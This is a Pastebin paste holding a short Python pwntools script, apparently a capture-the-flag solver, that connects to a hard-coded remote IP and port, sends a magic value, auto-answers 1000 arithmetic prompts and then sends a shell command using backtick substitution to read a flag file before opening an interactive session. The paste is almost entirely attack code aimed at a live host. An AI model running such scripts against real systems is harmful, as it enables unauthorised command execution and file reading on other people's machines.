Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pwn import *
- y = remote('140.110.112.31',2116)
- y.sendafter('magic :',p32(127174655))
- y.recvline()
- y.recvline()
- for _ in xrange(1000):
- o = y.recvuntil('?').split(' ')
- print o
- if o[1] == '+':
- y.sendline( str ( int(o[0]) + int(o[2])))
- elif o[1] == '-':
- y.sendline( str ( int(o[0]) - int(o[2])))
- elif o[1] == '*':
- y.sendline( str ( int(o[0]) * int(o[2])))
- sleep(1)
- y.sendline('cat/home/`whoami`/flag')
- y.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement